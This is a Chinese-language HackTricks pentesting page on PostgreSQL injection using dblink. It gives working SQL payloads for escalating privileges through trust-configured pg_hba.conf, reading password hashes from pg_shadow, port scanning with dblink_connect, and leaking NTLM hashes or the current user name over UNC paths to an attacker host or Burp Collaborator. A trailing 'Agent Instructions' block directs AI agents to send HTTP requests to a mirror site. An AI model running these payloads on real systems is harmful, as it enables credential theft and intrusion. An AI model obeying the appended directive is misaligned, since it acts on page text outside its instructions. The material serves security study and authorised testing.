# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**在原始论文中查找**[**关于这些攻击的更多信息**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)。

自**PostgreSQL 9.1**以来，安装附加模块变得简单。[像`dblink`这样的注册扩展](https://www.postgresql.org/docs/current/contrib.html)可以使用[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)进行安装：

```sql
CREATE EXTENSION dblink;
```

一旦加载了 dblink，您可能能够执行一些有趣的技巧：

### 特权提升

`pg_hba.conf` 文件可能配置不当，**允许**来自**本地主机的任何用户**连接而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到，不良配置如下：

```
local    all    all    trust
```

*请注意，此配置通常用于在管理员忘记密码时修改数据库用户的密码，因此有时您可能会找到它。*\
\&#xNAN;*还要注意，pg\_hba.conf 文件只能被 postgres 用户和组读取，只能被 postgres 用户写入。*

如果您已经在受害者内部获得了 shell，这种情况非常有用，因为它将允许您连接到 postgresql 数据库。

另一种可能的错误配置如下：

```
host    all     all     127.0.0.1/32    trust
```

由于它将允许来自本地主机的所有人以任何用户身份连接到数据库。\
在这种情况下，如果\*\*`dblink`**函数**正常工作\*\*，您可以通过通过已建立的连接连接到数据库，并访问本不应访问的数据来**提升权限**：

```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```

### 端口扫描

利用 `dblink_connect`，您还可以**搜索开放端口**。如果该\*\*函数不起作用，您应该尝试使用 `dblink_connect_u()`，因为文档中指出 `dblink_connect_u()` 与 `dblink_connect()` 相同，只是它允许非超级用户使用任何身份验证方法连接。

```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:
```

请注意，在能够使用 `dblink_connect` 或 `dblink_connect_u` 之前，您可能需要执行：

```
CREATE extension dblink;
```

### UNC路径 - NTLM哈希泄露

```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
```

```sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
